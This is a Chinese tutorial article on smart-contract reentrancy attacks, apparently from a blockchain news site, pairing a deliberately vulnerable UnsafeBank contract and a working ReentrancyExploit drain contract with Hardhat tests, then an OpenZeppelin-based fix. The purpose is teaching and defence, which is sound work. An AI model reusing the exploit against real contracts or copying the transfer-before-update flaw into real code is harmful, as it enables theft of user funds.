您现在的位置:kastop>> Kas信息 Kastop聚焦>>正文内容

黑吃黑:重入攻击秒提ETH+瞬锁修复

前言

本文聚焦 DeFi 领域中典型的重入攻击(Reentrancy Attack)安全漏洞,从理论层面剖析重入攻击的原理与危害,再基于 Hardhat V3 开发框架,结合 OpenZeppelin V5 安全库,通过代码实践完整复现重入攻击的全过程;最后针对该漏洞的核心成因,给出基于行业最佳实践的修复方案,并通过代码验证修复效果。全文采用 “理论分析 - 攻击复现 - 漏洞修复” 的逻辑脉络,将重入攻击的技术原理与工程实践相结合,清晰呈现该安全漏洞的风险点及防护手段。

重入攻击是什么

1. 核心定义:重入攻击(Reentrancy Attack)是智能合约中一种经典的安全漏洞。它的核心原理是:外部恶意合约利用回调机制,在目标合约的函数执行过程尚未结束(即状态变量尚未更新)时,再次递归调用该函数,从而反复窃取资产或破坏逻辑。

2. 通俗类比

  • 场景:你去银行取钱。

  • 正常流程:你申请取钱 -> 银行扣除你的余额 -> 银行给你现金。

  • 重入攻击流程:你申请取钱 -> 银行给你现金(还没来得及扣余额) -> 你拿到现金的瞬间,立刻又申请取钱 -> 银行检查余额(还是满的) -> 银行又给你现金…… 循环往复,直到银行破产。

3. 技术原理:在 Ethereum(以太坊)等 EVM 兼容链上,当合约向外部地址(EOA 或其他合约)发送 ETH(使用call)或执行低级别调用时,接收方合约的fallback()receive()函数会被触发。如果目标合约在修改状态变量(如用户余额)之前就执行了转账操作,攻击者就可以在fallback函数中再次调用目标合约的提款函数,导致 “余额未清零” 的漏洞被反复利用。

Web3 历史上的重大重入攻击事件

事件名称发生时间损失金额核心细节
The DAO 攻击2016 年约 6000 万美元(当时约占以太坊总量的 15%)利用 DAO 合约中splitDAO函数的重入漏洞,通过递归调用将资金转移到子 DAO 中,导致以太坊社区硬分叉为 ETH 和 ETC。
Parity 钱包多重签名漏洞攻击2017 年约 3000 万美元主因为库合约自杀致代码不可用,delegatecall重入逻辑复杂性是导火索之一,造成多个钱包合约被冻结或盗取。
bZx 闪电贷重入攻击2020 年约 800 万美元DeFi Summer 初期典型攻击,结合闪电贷与重入攻击,操纵价格后借重入漏洞在旧价格下清算套利,开启组合拳攻击时代。
Cream Finance 攻击2021 年约 1.3 亿美元利用 ETH 和 YFI 市场重入漏洞,铸造大量 crETH 代币并赎回,导致协议巨额损失。
Euler Finance 攻击2023 年约 1.97 亿美元利用 DToken 合约重入漏洞,在清算过程中反复借款并提取抵押品,造成巨额损失。

重入攻击的危害

1. 资产直接被盗(经济损失):这是最直接的后果。攻击者可以在合约逻辑未能更新余额之前,将合约内的所有流动性资金(ETH、ERC20 代币等)转移至自己的地址,导致协议瞬间资不抵债(Rug Pull)。

2. 合约状态混乱(逻辑破坏):即使资金没有被转走,反复的递归调用可能导致合约的状态变量(如借贷利率、清算价格、总供应量)计算错误。一旦状态被破坏,合约可能永久无法正常运行,甚至导致剩余资产无法提取。

3. 协议信任崩塌(声誉破产):DeFi 的核心是 “Code is Law”(代码即法律)。一旦发生重入攻击,意味着代码存在致命缺陷,用户会对协议失去信任,导致流动性迅速撤离,项目方代币价格归零,项目直接死亡。

4. 复杂攻击的跳板:在现代 DeFi 攻击中,重入往往不是单一手段,而是配合闪电贷、价格操纵、预言机攻击的关键一环。它能放大攻击的杠杆效应,让攻击者在一个区块内完成数亿级别的套利。

智能合约实现

漏洞复现

智能合约

  • 不安全银行合约

// SPDX-License-Identifier: MITpragma solidity ^0.8.24;contract UnsafeBank {    mapping(address => uint) public balances;    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }    function withdraw() external {        uint amount = balances[msg.sender];        require(amount > 0, "no fund");        // 先转账,后更新 → 可被重入
        (bool ok,) = msg.sender.call{value: amount}("");        require(ok, "send failed");

        balances[msg.sender] = 0; // 太晚!
    }
}
  • 重入攻击合约

// SPDX-License-Identifier: MITpragma solidity ^0.8.24;import "./UnsafeBank.sol";contract ReentrancyExploit {
    UnsafeBank public immutable bank;    bool private _isAttacking; // 标记是否处于攻击状态

    constructor(address _bank) {
        bank = UnsafeBank(_bank);
    }    
    function attack() external payable {        require(msg.value > 0, "Need ETH to attack");
        _isAttacking = true; // 开启攻击状态
        
        // 1. 存入资金
        bank.deposit{value: msg.value}();        // 2. 触发第一次提款
        bank.withdraw();
        
        _isAttacking = false; // 结束攻击状态
    }    // receive() external payable {
    //     // 只有在攻击状态下,且银行还有钱时才重入
    //     if (_isAttacking && address(bank).balance >= msg.value) {
    //         bank.withdraw();
    //     }
    // }
    receive() external payable {        // 关键:增加余额检查,防止无限递归
        // 只有当银行里还有钱时,才继续提款
        if (address(bank).balance >= 1 ether) { 
            bank.withdraw();
        }
    }    function loot() external {
        payable(msg.sender).transfer(address(this).balance);
    }
}

部署脚本

// scripts/deploy.jsimport { network, artifacts } from "hardhat";
async function main() {  // 连接网络
  const { viem } = await network.connect({ network: network.name });//指定网络进行链接
  
  // 获取客户端
  const [deployer] = await viem.getWalletClients();
  const publicClient = await viem.getPublicClient();
 
  const deployerAddress = deployer.account.address;
   console.log("部署者的地址:", deployerAddress);  // 加载合约
  const UnsafeBankArtifact = await artifacts.readArtifact("UnsafeBank");
  const ReentrancyExploitArtifact = await artifacts.readArtifact("ReentrancyExploit"); 
  // 部署(构造函数参数:recipient, initialOwner)
  const UnsafeBankHash = await deployer.deployContract({
    abi: UnsafeBankArtifact.abi,//获取abi
    bytecode: UnsafeBankArtifact.bytecode,//硬编码
    args: [],//
  });
   const UnsafeBankReceipt = await publicClient.waitForTransactionReceipt({ hash: UnsafeBankHash });
   console.log("银行合约地址:", UnsafeBankReceipt.contractAddress);//const ReentrancyExploitHash = await deployer.deployContract({
    abi: ReentrancyExploitArtifact.abi,//获取abi
    bytecode: ReentrancyExploitArtifact.bytecode,//硬编码
    args: [UnsafeBankReceipt.contractAddress],//部署者地址,初始所有者地址
  });  // 等待确认并打印地址
  const ReentrancyExploitReceipt = await publicClient.waitForTransactionReceipt({ hash: ReentrancyExploitHash });
  console.log("攻击合约地址:", ReentrancyExploitReceipt.contractAddress);
}

main().catch(console.error);

测试脚本

import assert from "node:assert/strict";import { describe, it, beforeEach } from "node:test";import hre from "hardhat";import { parseEther, getAddress, formatEther } from "viem";

describe("ReentrancyExploit 攻击验证", async function () {
  let owner: any;
  let otherAccount: any;
  let UnsafeBank: any;
  let ReentrancyExploit: any;
  let publicClient: any;

  beforeEach(async () => {    // const viem = await (hre as any).viem;
    const { viem } = await hre.network.connect();
    publicClient = await viem.getPublicClient();
    [owner, otherAccount] = await viem.getWalletClients();    // 1. 部署银行
    UnsafeBank = await viem.deployContract("UnsafeBank", []);    // 2. 注入“受害者”资金:让其他账户往银行存入 100 ETH
    // 这样银行才有钱被偷,且不会消耗 owner 自己的本金
    const depositTx = await otherAccount.sendTransaction({
      to: UnsafeBank.address,
      value: parseEther("100"),
      data: "0xd0e30db0", // 调用 deposit() 的 selector
    });
    await publicClient.waitForTransactionReceipt({ hash: depositTx });        
    // 3. 部署攻击合约
    ReentrancyExploit = await viem.deployContract("ReentrancyExploit", [UnsafeBank.address]);
  });

  it("应该通过重入攻击排干银行余额", async function () {
    const initialBankBal = await publicClient.getBalance({ address: UnsafeBank.address });
    console.log("攻击前银行余额:", formatEther(initialBankBal.toString()));    // 1. 执行攻击 (存入 10 ETH 触发递归 withdraw)
    // 注意:gasLimit 必须给够,因为递归非常消耗 Gas
    const attackTx = await ReentrancyExploit.write.attack([], {
      value: parseEther("10"),
      gas: 1000000n 
    });
    await publicClient.waitForTransactionReceipt({ hash: attackTx });    // 2. 检查攻击合约是否成功拿到了钱
    const exploitBal = await publicClient.getBalance({ address: ReentrancyExploit.address });
    console.log("攻击后合约所得:", formatEther(exploitBal.toString()));    
    // 修复断言 1:合约所得应该等于 (银行初始 100 + 攻击投入 10)
    assert.ok(exploitBal >= parseEther("110"));    // 提取战利品
    const initialOwnerBal = await publicClient.getBalance({ address: owner.account.address });
    await ReentrancyExploit.write.loot([]);    // 修复断言 2:Owner 余额增加量应该接近 110 ETH(扣除微量 Gas)
    const finalOwnerBal = await publicClient.getBalance({ address: owner.account.address });

    console.log("Owner 增加余额:", (finalOwnerBal - initialOwnerBal).toString());    
    // 只要增加超过 109 ETH 即可说明成功拿到了银行的所有钱
    assert.ok(finalOwnerBal > initialOwnerBal + parseEther("109"));    
    // 修复断言 3:银行必须被排干
    const finalBankBal = await publicClient.getBalance({ address: UnsafeBank.address });    assert.equal(finalBankBal, 0n);
  });
});

漏洞修复

智能合约

  • 安全漏洞修复合约:借助openzeppelinV5修复

// SPDX-License-Identifier: MITpragma solidity ^0.8.24;// 导入 OpenZeppelin V5 的防重入卫士import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";/**
 * @title SafeBank
 * @dev 修复了重入漏洞的安全银行合约
 */contract SafeBank is ReentrancyGuard {    mapping(address => uint256) public balances;    // 存钱逻辑保持不变
    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }    /**
     * @dev 修复后的取款函数
     * 1. 使用 nonReentrant 修改器:禁止在执行期间再次进入此函数
     * 2. 遵循 Checks-Effects-Interactions 模式
     */
    function withdraw() external nonReentrant {        // --- 1. Checks (检查) ---
        uint256 amount = balances[msg.sender];        require(amount > 0, "no fund");        // --- 2. Effects (效果) ---
        // 在进行外部调用之前,先更新状态(账本清零)
        // 即使攻击者尝试重入,此时它的 balances[msg.sender] 已经是 0,无法通过 Checks
        balances[msg.sender] = 0;        // --- 3. Interactions (交互) ---
        // 最后再进行外部转账
        (bool ok, ) = msg.sender.call{value: amount}("");        require(ok, "send failed");
    }    // 允许合约接收 ETH
    receive() external payable {}
}
  • 重入攻击合约:同上重入攻击合约

部署脚本:同上部署脚本修改编译后abi关键参数即可

测试脚本

import assert from "node:assert/strict";import { describe, it, beforeEach } from "node:test";import hre from "hardhat";import { parseEther, getAddress, formatEther } from "viem";
describe("SafeBank 防御验证", async function () {
    let owner: any;
    let otherAccount: any;
    let SafeBank: any; // 使用 SafeBank 代替 UnsafeBank
    let ReentrancyExploit: any;
    let publicClient: any;

    beforeEach(async () => {
        const { viem } = await hre.network.connect();
        publicClient = await viem.getPublicClient();
        [owner, otherAccount] = await viem.getWalletClients();        // 1. 部署安全的银行合约
        SafeBank = await viem.deployContract("SafeBank", []); // 注意合约名称变更
        
        // 2. 注入“受害者”资金:100 ETH
        const depositTx = await otherAccount.sendTransaction({
            to: SafeBank.address,
            value: parseEther("100"),
            data: "0xd0e30db0", // 调用 deposit() 的 selector
        });
        await publicClient.waitForTransactionReceipt({ hash: depositTx });            
        // 3. 部署攻击合约,指向 SafeBank
        ReentrancyExploit = await viem.deployContract("ReentrancyExploit", [SafeBank.address]);
    });

    it("应该阻止 ReentrancyExploit 的攻击", async function () {
        const initialBankBal = await publicClient.getBalance({ address: SafeBank.address });
        console.log("安全银行攻击前余额:", formatEther(initialBankBal.toString())); // 100 ETH

        // 尝试执行攻击
        // 我们预期这个交易会失败(revert),因为 SafeBank 使用了 ReentrancyGuard
        try {
            await ReentrancyExploit.write.attack([], {
                value: parseEther("10"), // 存入 10 ETH
                gas: 3000000n // Gas 不用太高,因为它很快就会失败
            });            // 如果代码执行到这里,说明攻击成功了,这不符合预期
            assert.fail("攻击应该失败,但它成功了!");

        } catch (error: any) {            // 预期捕获到错误,证明防御成功
            console.log("成功捕获到预期错误:攻击被阻止。");            // 打印错误消息通常会包含 "ReentrancyGuard: reentrant call" 或 "no fund"
            // console.error(error.message); 
            assert.ok(error.message.includes("revert") || error.message.includes("ReentrancyGuard") || error.message.includes("no fund"));
        }        // 验证最终银行余额:钱应该还在银行里(除了攻击者存入的 10 ETH 可能卡在失败的交易中)
        // 在 Viem/Hardhat 中,失败的交易会自动回滚所有状态,所以银行余额应该回到初始状态。
        const finalBankBal = await publicClient.getBalance({ address: SafeBank.address });
        console.log("安全银行攻击后余额:", formatEther(finalBankBal.toString()));        // 断言银行余额没有被掏空 (回到了 100 ETH 附近)
        assert.ok(finalBankBal >= parseEther("99")); 

        const exploitBal = await publicClient.getBalance({ address: ReentrancyExploit.address });        assert.equal(exploitBal, 0n, "攻击合约不应该有余额");
    });
});

结语

至此关于 DeFi 领域经典安全漏洞 —— 重入攻击,完整覆盖相关理论知识与代码实践,既包含重入攻击的复现过程,也提供了针对该漏洞的修复代码实例,形成 “理论剖析 - 实践复现 - 漏洞修复” 的完整技术链路。



感动 同情 无聊 愤怒 搞笑 难过 高兴 路过
【字体: 】【收藏】【打印文章】 【 打赏 】 【查看评论

相关文章

    没有相关内容